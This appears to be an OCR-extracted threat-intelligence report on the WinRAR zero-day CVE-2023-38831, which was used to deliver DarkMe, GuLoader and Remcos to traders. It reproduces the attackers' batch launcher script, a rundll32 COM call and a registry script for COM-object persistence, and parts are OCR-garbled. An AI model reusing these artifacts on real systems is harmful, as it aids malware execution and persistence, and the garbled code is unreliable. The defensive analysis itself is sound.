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final updated version

Key Findings

Group-IB Threat Intelligence unit identified a zero-day vulnerability has been used in WinRAR
since April 2023

The cybercriminals are exploiting a vulnerability that allows them to spoof file extensions, which
means that they are able to hide the launch of malicious script within an archive masquerading
as a “.jpg’, ‘.txt’, or any other file format

This vulnerability was reported to RARLAB, which subsequently issued a new version of
WinRAR

The vulnerability was reported to MITRE Corporation, and was assigned CVE-2023-38831.
A ZIP archive was crafted to deliver various malware families: DarkMe, GuLoader, Remcos RAT
The ZIP archives were distributed in specialist forums for traders

130 traders’ devices are still infected at the moment of posting. Group-IB cannot confirm the
total number of devices that were infected as a result of this vulnerability.

After infecting devices, the cybercriminals withdraw money from broker accounts. The total
amount of financial losses is still unknown.

The cybercriminals are exploiting this vulnerability to deliver the same tool used in the
DarkCasino campaign described by NSFOCUS (Part 1, Part 2).
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Analysis of vulnerability exploitation

Managed XDR
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@echo off
if not DEFINED IS_MINIMIZED
set IS_MINIMIZED=1 && start "" /min "% dpnx@" %* && exit
cd %TEMP%
for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg""') do
for /F "delims=" %%G in ('dir /b /s "Images.ico"') do
WMIC process call create "%%°G" &% "%% K" && cd %CD% && exit

exit
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Managed XDR

rund1132.exe /sta {EA6FC2FF-7AE6-4534-9495-F688FEC7858C}
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CloudEye aka GulLoader

Page 12 of 19




https://www.group-ib.com /blog/cve-2023-38831-winrar-zero-day/

Page 13 of 19



https://website.cdn.group-ib.com/wp-content/uploads/19-1.webp
https://website.cdn.group-ib.com/wp-content/uploads/19-1.webp

https://www.group-ib.com /blog/cve-2023-38831-winrar-zero-day/

Managed XDR

Threat Intelligence

Threat Attribution

Conclusion

Join the Cybercrime Fighters Club
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Recommendations

Regularly update your operating system, applications, and security software to ensure you have
the latest security patches. Update WIinRAR to the latest version.

Stay informed about common cyber threats and tactics used by cybercriminals. This knowledge
can help you recognize potential risks and avoid falling victim to scams.

Be very cautious when dealing with attachments from unknown sources. Avoid running on files
that you weren’t expecting or don’t recognize.

Encourage the use of password managers for the storage of login data.
Enable 2FA wherever possible to add an extra layer of security to your accounts.
Backup your important data regularly to an external device.

Follow the principle of least privilege by using standard user accounts instead of administrator
accounts for daily tasks.

ATT&CK
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APPENDIX A. Example of a script to register a COM object

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858(} ]
@="Cabinet.ModuleClassk"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\Implemen:
[HKEY_CURRENT _USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\Implemen
[HKEY_CURRENT_USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\InprocSe
@="Cabinet.ocx"

"ThreadingModel"="Apartment"

[HKEY_CURRENT _USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\ProgID]
@="Cabinet.ModuleClassk"

[HKEY_CURRENT _USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\Programm:
[HKEY_CURRENT_USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\TypelLib]
@="{8F1576C0-BB0@8-4F05-87A6-268C0D548794}
[HKEY_CURRENT_USER\Software\Classes\CLSID\{EA6FC2FF-7AE6-4534-9495-F688FEC7858C}\VERSION]
@="1.0"

Domains

IP addresses

Registry path
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File path

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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